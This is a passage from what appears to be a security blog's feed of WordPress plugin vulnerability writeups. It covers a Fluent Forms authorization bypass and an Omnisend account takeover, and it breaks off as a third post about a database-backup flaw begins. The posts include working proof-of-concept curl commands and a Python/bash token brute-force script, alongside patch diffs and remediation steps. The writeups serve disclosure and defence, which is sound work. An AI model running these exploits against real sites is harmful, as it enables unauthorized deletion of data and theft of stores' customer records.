&lt;li&gt;&lt;code&gt;SubmissionController::remove()&lt;/code&gt; runs with &lt;code&gt;$submissionId&lt;/code&gt; = 100. It fetches and deletes submission 100, which belongs to form 10.&lt;/li&gt;
&lt;li&gt;Submission from form 10 is permanently deleted — without authorization.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fluent Forms &amp;lt;= 6.1.21 installed and activated&lt;/li&gt;
&lt;li&gt;Attacker has a WordPress account (any role, e.g. Subscriber)&lt;/li&gt;
&lt;li&gt;Site admin has granted the attacker Fluent Forms Manager access, restricted to at least one specific form (e.g. form ID 5)&lt;/li&gt;
&lt;li&gt;The target submission exists on a different form (e.g. entry ID 100 on form ID 10)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Authenticate and get a nonce.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in as the restricted manager and retrieve the admin nonce:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Log in via WordPress cookie auth (replace with real credentials)
curl -s -c cookies.txt -b cookies.txt \
  -d &quot;log=restricted_manager&amp;amp;pwd=password&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=%2Fwp-admin%2F&amp;amp;testcookie=1&quot; \
  &quot;https://example.com/wp-login.php&quot; -L -o /dev/null

# Get the nonce from the Fluent Forms admin page
NONCE=$(curl -s -b cookies.txt &quot;https://example.com/wp-admin/admin.php?page=fluent_forms&quot; \
  | grep -oP &apos;&quot;fluent_forms_admin_nonce&quot;:&quot;\K[^&quot;]+&apos;)
echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Read a submission from an unauthorized form.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send &lt;code&gt;form_id=5&lt;/code&gt; (allowed) but target &lt;code&gt;entry_id=100&lt;/code&gt; (from form 10, not allowed):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -b cookies.txt \
  &quot;https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&amp;amp;route=submissions/100&amp;amp;fluent_forms_admin_nonce=$NONCE&amp;amp;form_id=5&quot; \
  | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; The response returns the full submission data for entry 100, which belongs to form 10. The attacker was only authorized for form 5.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Delete a submission from an unauthorized form.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -b cookies.txt -X DELETE \
  &quot;https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&amp;amp;route=submissions/100&amp;amp;fluent_forms_admin_nonce=$NONCE&amp;amp;form_id=5&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; &lt;code&gt;{&quot;success&quot;:true,&quot;data&quot;:{&quot;message&quot;:&quot;Selected submission successfully deleted Permanently&quot;}}&lt;/code&gt;. Entry 100 from form 10 is permanently deleted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Verify the deletion.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -b cookies.txt \
  &quot;https://example.com/wp-admin/admin-ajax.php?action=fluentform_admin_ajax&amp;amp;route=submissions/100&amp;amp;fluent_forms_admin_nonce=$NONCE&amp;amp;form_id=5&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; &lt;code&gt;{&quot;success&quot;:false}&lt;/code&gt; or a 404-equivalent error. The submission no longer exists.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 6.2.0 introduces a &lt;code&gt;resolveFormId()&lt;/code&gt; private method in &lt;code&gt;SubmissionPolicy&lt;/code&gt;. The fix ensures that when an &lt;code&gt;entry_id&lt;/code&gt; is present in the request, the authorization uses the form ID from the database — not from the request parameter.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- a/app/Http/Policies/SubmissionPolicy.php
+++ b/app/Http/Policies/SubmissionPolicy.php
@@ -17,13 +17,19 @@ class SubmissionPolicy extends Policy
     public function verifyRequest(Request $request)
     {
-        return Acl::hasPermission(&apos;fluentform_entries_viewer&apos;, $request-&amp;gt;get(&apos;form_id&apos;));
+        $formId = $this-&amp;gt;resolveFormId($request);
+        return Acl::hasPermission(&apos;fluentform_entries_viewer&apos;, $formId);
     }
 
     public function handleBulkActions(Request $request)
     {
-        return Acl::hasPermission(&apos;fluentform_manage_entries&apos;, $request-&amp;gt;get(&apos;form_id&apos;));
+        $formId = $this-&amp;gt;resolveFormId($request);
+        return Acl::hasPermission(&apos;fluentform_manage_entries&apos;, $formId);
     }
+
+    private function resolveFormId(Request $request)
+    {
+        $entryId = $request-&amp;gt;get(&apos;entry_id&apos;);
+        if ($entryId) {
+            $submission = Submission::select(&apos;form_id&apos;)-&amp;gt;find(intval($entryId));
+            if ($submission) {
+                return $submission-&amp;gt;form_id;
+            }
+        }
+
+        $formId = $request-&amp;gt;get(&apos;form_id&apos;);
+        return $formId ? intval($formId) : null;
+    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an &lt;code&gt;entry_id&lt;/code&gt; is present, the fix looks up the actual &lt;code&gt;form_id&lt;/code&gt; of that submission from the database. The authorization then checks whether the user has access to that form — the form the submission actually belongs to. An attacker can no longer pass their allowed form ID while targeting a different form&apos;s submission.&lt;/p&gt;
&lt;p&gt;The companion fix in &lt;code&gt;SubmissionController&lt;/code&gt; also replaces the user-supplied &lt;code&gt;submission_id&lt;/code&gt; body parameter with the &lt;code&gt;entry_id&lt;/code&gt; route parameter for the &lt;code&gt;updateSubmissionUser&lt;/code&gt; action, closing a similar mismatch.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Wordfence publicly disclosed the vulnerability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Fluent Forms 6.2.0 released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update Fluent Forms to &lt;strong&gt;version 6.2.0 or later&lt;/strong&gt; immediately.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Updates&lt;/strong&gt; and update Fluent Forms.&lt;/li&gt;
&lt;li&gt;Or download the patched version from &lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;wordpress.org/plugins/fluentform&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you cannot update immediately, review which users have Fluent Forms Manager access. Consider revoking form-restricted manager access until the update can be applied. There is no other workaround — the vulnerability is in the core authorization logic.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentform/fluent-forms-6121-authenticated-subscriber-authorization-bypass-via-form-id-parameter&quot;&gt;Wordfence Advisory — CVE-2026-5396&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5396&quot;&gt;CVE-2026-5396 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;Fluent Forms on wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/fluentform.6.2.0.zip&quot;&gt;Fluent Forms 6.2.0 — Patched Release&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/sander-horsman&quot;&gt;Researcher: Sander Horsman — Conda Security&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-08T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-42668: Omnisend WooCommerce Account Takeover (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-42668-omnisend-woocommerce-account-takeover/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-42668-omnisend-woocommerce-account-takeover/</guid><description>CVE-2026-42668 (CVSS 7.5 High): Unauthenticated account takeover in Omnisend for WooCommerce &lt;= 1.18.0 via predictable SHA-256 token. Update to 1.18.1.</description><pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-42668&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 High&lt;/strong&gt; unauthenticated account takeover vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/omnisend-connect/&quot;&gt;Email Marketing for WooCommerce by Omnisend&lt;/a&gt; WordPress plugin. An attacker with no account can brute-force the connect token and overwrite the store&apos;s Omnisend credentials, redirecting all customer PII, order data, and marketing emails to the attacker&apos;s account.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Email Marketing for WooCommerce by Omnisend&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;omnisend-connect&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42668&quot;&gt;CVE-2026-42668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use of Insufficiently Random Values — Unauthenticated Account Takeover&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/omnisend-connect.1.18.0.zip&quot;&gt;&amp;lt;= 1.18.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/omnisend-connect.1.18.1.zip&quot;&gt;1.18.1&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/0xzenko&quot;&gt;0xzenko&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/omnisend-connect/omnisend-for-woocommerce-1180-unauthenticated-omnisend-account-takeover-via-predictable-connect-token&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Omnisend for WooCommerce plugin connects a WooCommerce store to the Omnisend email marketing platform. During the OAuth setup flow, the plugin generates a one-time &quot;connect token&quot; to authorize the connection request.&lt;/p&gt;
&lt;p&gt;In versions up to and including 1.18.0, the plugin generates this token with &lt;code&gt;hash(&apos;sha256&apos;, time())&lt;/code&gt;. The PHP &lt;code&gt;time()&lt;/code&gt; function returns a Unix timestamp — an integer that increments by one every second. That means at most 86,400 unique tokens exist for any given day. An attacker can pre-compute all possible tokens for a recent time window and brute-force the live endpoint until they find the right one.&lt;/p&gt;
&lt;p&gt;Once the correct token is found, the attacker calls the unauthenticated REST endpoint &lt;code&gt;POST /wp-json/omnisend-api/v1/connect&lt;/code&gt; with their own Omnisend credentials. The plugin immediately saves those credentials, and the store begins sending all customer data to the attacker&apos;s Omnisend account.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Token Generation&lt;/h3&gt;
&lt;p&gt;The token is created in &lt;code&gt;Omnisend_Install::generate_install_url()&lt;/code&gt; in &lt;code&gt;includes/class-omnisend-install.php&lt;/code&gt; at line 234:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static function generate_install_url() {
    $token = get_option( &apos;omnisend_connect_token&apos;, &apos;&apos; );

    if ( $token === &apos;&apos; ) {
        $token = hash( &apos;sha256&apos;, time() );  // &amp;lt;-- predictable: ~86,400 values per day
        update_option( &apos;omnisend_connect_token&apos;, $token );
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;time()&lt;/code&gt; returns the current Unix timestamp in seconds. SHA-256 is deterministic. Any attacker can compute &lt;code&gt;hash(&apos;sha256&apos;, $t)&lt;/code&gt; for every second in a plausible time window and produce the exact token the store is holding.&lt;/p&gt;
&lt;p&gt;This function is called when the admin visits the plugin&apos;s settings page. The token is stored and reused until a successful connection consumes it.&lt;/p&gt;
&lt;h3&gt;Unauthenticated REST Endpoint&lt;/h3&gt;
&lt;p&gt;The REST endpoint in &lt;code&gt;includes/omnisend-api.php&lt;/code&gt; at lines 211–222 is registered with &lt;code&gt;validate_connect_token&lt;/code&gt; as its only permission callback:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_rest_route(
    &apos;omnisend-api/v1&apos;,
    &apos;/connect&apos;,
    array(
        &apos;methods&apos;             =&amp;gt; WP_REST_Server::CREATABLE,
        &apos;callback&apos;            =&amp;gt; &apos;omnisend_connect_account&apos;,
        &apos;permission_callback&apos; =&amp;gt; &apos;validate_connect_token&apos;,  // no auth check
    )
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;validate_connect_token()&lt;/code&gt; at lines 146–176 checks only the token value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function validate_connect_token( WP_REST_Request $request ) {
    $body = json_decode( $request-&amp;gt;get_body(), true );

    // no current_user_can() check
    // no is_user_logged_in() check

    $token = get_option( &apos;omnisend_connect_token&apos;, &apos;&apos; );

    if ( $token !== $request[&apos;connect_token&apos;] ) {  // leaks timing info
        return new WP_Error( &apos;omnisend_incorrect_connect_token&apos;, ..., 401 );
    }

    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no &lt;code&gt;current_user_can()&lt;/code&gt; or &lt;code&gt;is_user_logged_in()&lt;/code&gt; check anywhere in this flow. Any visitor on the internet can call this endpoint.&lt;/p&gt;
&lt;h3&gt;Account Takeover on Success&lt;/h3&gt;
&lt;p&gt;The callback &lt;code&gt;omnisend_connect_account()&lt;/code&gt; at lines 108–128 writes attacker-supplied values directly to the database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function omnisend_connect_account( WP_REST_Request $request ) {
    $body = json_decode( $request-&amp;gt;get_body(), true );

    update_option( &apos;omnisend_connect_token&apos;, null );          // consume token
    Omnisend_Settings::set_brand_id( $body[&apos;brand_id&apos;] );     // attacker&apos;s brand
    update_option( &apos;omnisend_api_key&apos;, $body[&apos;omnisend_api_key&apos;] );  // attacker&apos;s key

    Omnisend_Manager::update_account_info();
    Omnisend_Manager_Assistant::init_sync();  // start syncing to attacker&apos;s account

    return array( &apos;success&apos; =&amp;gt; true );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After this call, every customer record, order event, and marketing email the store sends goes to the attacker&apos;s Omnisend account.&lt;/p&gt;
&lt;h3&gt;Execution Path Summary&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Admin loads settings page
  → view/settings/connection.php calls Omnisend_Install::get_registration_url()
    → generate_install_url() runs
      → get_option(&apos;omnisend_connect_token&apos;) is empty
        → $token = hash(&apos;sha256&apos;, time())           ← weak token generated here
        → update_option(&apos;omnisend_connect_token&apos;, $token)

Attacker (unauthenticated, any time later):
  → brute-forces 86,400 SHA-256 timestamps
  → POST /wp-json/omnisend-api/v1/connect
    → validate_connect_token() passes  ← no auth, just token check
      → omnisend_connect_account() runs
        → store&apos;s Omnisend credentials overwritten with attacker&apos;s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and authorized security testing purposes only. Do not use it against systems you do not own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; WordPress site with Omnisend for WooCommerce &amp;lt;= 1.18.0 installed. The plugin&apos;s settings page must have been visited at least once (which generates the token).&lt;/p&gt;
&lt;h3&gt;Step 1 — Determine the Token Window&lt;/h3&gt;
&lt;p&gt;The token equals &lt;code&gt;hash(&apos;sha256&apos;, $unix_timestamp)&lt;/code&gt; for some second in the recent past. If the plugin was activated or the settings page was loaded within the last 24 hours, there are at most 86,400 candidates.&lt;/p&gt;
&lt;h3&gt;Step 2 — Generate Candidate Tokens&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import time

now = int(time.time())
window = 86400  # 24-hour window

with open(&quot;tokens.txt&quot;, &quot;w&quot;) as f:
    for t in range(now - window, now + 1):
        h = hashlib.sha256(str(t).encode()).hexdigest()
        f.write(h + &quot;\n&quot;)

print(f&quot;Generated {window + 1} candidate tokens.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3 — Brute-Force the Connect Endpoint&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://victim.example.com&quot;
BRAND_ID=&quot;attacker-brand-id&quot;
API_KEY=&quot;attacker-omnisend-api-key&quot;

while IFS= read -r token; do
    status=$(curl -s -o /tmp/response.json -w &quot;%{http_code}&quot; \
        -X POST &quot;$TARGET/wp-json/omnisend-api/v1/connect&quot; \
        -H &quot;Content-Type: application/json&quot; \
        -d &quot;{\&quot;connect_token\&quot;:\&quot;$token\&quot;,\&quot;brand_id\&quot;:\&quot;$BRAND_ID\&quot;,\&quot;omnisend_api_key\&quot;:\&quot;$API_KEY\&quot;}&quot;)

    if [ &quot;$status&quot; = &quot;200&quot; ]; then
        echo &quot;[+] SUCCESS: token=$token&quot;
        cat /tmp/response.json
        break
    fi
done &amp;lt; tokens.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4 — Verify Takeover&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Confirm the store now reports connection to attacker&apos;s account
curl -s &quot;$TARGET/wp-json/omnisend-api/v1/connected&quot;
# Expected: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a successful request, the store&apos;s &lt;code&gt;omnisend_api_key&lt;/code&gt; and &lt;code&gt;omnisend_account_id&lt;/code&gt; options are overwritten. All subsequent customer syncs and order webhooks flow to the attacker&apos;s Omnisend account.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;The fix in version 1.18.1 addresses two separate weaknesses.&lt;/p&gt;
&lt;h3&gt;Fix 1 — Cryptographically Secure Token Generation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- $token = hash( &apos;sha256&apos;, time() );
+ $token = bin2hex( random_bytes( 32 ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;random_bytes(32)&lt;/code&gt; draws 32 bytes from the operating system&apos;s CSPRNG. &lt;code&gt;bin2hex()&lt;/code&gt; encodes those as a 64-character hex string. The result has 2^256 possible values — brute-forcing is computationally infeasible.&lt;/p&gt;
&lt;h3&gt;Fix 2 — Constant-Time Comparison&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- if ( $token !== $request[&apos;connect_token&apos;] ) {
+ if ( ! hash_equals( $token, (string) $request[&apos;connect_token&apos;] ) ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original &lt;code&gt;!==&lt;/code&gt; string comparison is vulnerable to timing side-channel attacks: the comparison short-circuits at the first mismatched character, leaking how many characters the attacker guessed correctly. &lt;code&gt;hash_equals()&lt;/code&gt; always compares the full string in constant time.&lt;/p&gt;
&lt;h3&gt;Fix 3 — Uniform Error Responses&lt;/h3&gt;
&lt;p&gt;All three error paths in &lt;code&gt;validate_connect_token()&lt;/code&gt; now return the same HTTP 403 response with the same message (&quot;Connect token is invalid&quot;). This removes the oracle that previously let an attacker distinguish between &quot;token not set&quot;, &quot;token already used&quot;, and &quot;token wrong&quot;.&lt;/p&gt;
&lt;p&gt;The fix addresses the root cause. No residual risk was identified.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Wordfence publishes advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Version 1.18.1 released with fix&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update &lt;strong&gt;Email Marketing for WooCommerce by Omnisend&lt;/strong&gt; to version &lt;strong&gt;1.18.1 or later&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Installed Plugins&lt;/strong&gt;, find the plugin, and click &lt;strong&gt;Update Now&lt;/strong&gt;. Alternatively, download it directly from &lt;a href=&quot;https://wordpress.org/plugins/omnisend-connect/&quot;&gt;wordpress.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you suspect your store was already compromised, rotate your Omnisend API credentials immediately and audit recent data sync events in your Omnisend account.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/omnisend-connect/omnisend-for-woocommerce-1180-unauthenticated-omnisend-account-takeover-via-predictable-connect-token&quot;&gt;Wordfence Advisory — CVE-2026-42668&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42668&quot;&gt;CVE-2026-42668 at cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/omnisend-connect/tags/1.18.0/includes/class-omnisend-install.php#L234&quot;&gt;Vulnerable code — class-omnisend-install.php#L234&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/omnisend-connect/tags/1.18.0/includes/omnisend-api.php#L119&quot;&gt;Vulnerable code — omnisend-api.php#L119&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/omnisend-connect/tags/1.18.0/includes/omnisend-api.php#L146&quot;&gt;Vulnerable code — omnisend-api.php#L146&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;new=3507088%40omnisend-connect%2Ftrunk&amp;amp;old=3444853%40omnisend-connect%2Ftrunk&amp;amp;sfp_email=&amp;amp;sfph_mail=#file6&quot;&gt;Changeset diff — 1.18.0 → 1.18.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/omnisend-connect/vulnerability/wordpress-email-marketing-for-woocommerce-by-omnisend-plugin-1-18-0-broken-authentication-vulnerability&quot;&gt;Patchstack Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-07T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4029: Unauthenticated DB Export in WP Database Backup (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-4029-unauthenticated-db-export-wp-database-backup/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4029-unauthenticated-db-export-wp-database-backup/</guid><description>CVE-2026-4029 (CVSS 7.5) lets unauthenticated attackers export database tables on WordPress Multisite sites using Database Backup for WordPress &lt;= 2.5.2.</description><pubDate>Wed, 06 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4029&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 High&lt;/strong&gt; Missing Authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/wp-db-backup/&quot;&gt;Database Backup for WordPress&lt;/a&gt; plugin. On WordPress Multisite installations, an unauthenticated attacker can download database backup files without any credentials. This exposes all database contents, including user passwords, emails, and site data.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Database Backup for WordPress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp-db-backup&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4029&quot;&gt;CVE-2026-4029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wp-db-backup.2.5.2.zip&quot;&gt;&amp;lt;= 2.5.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
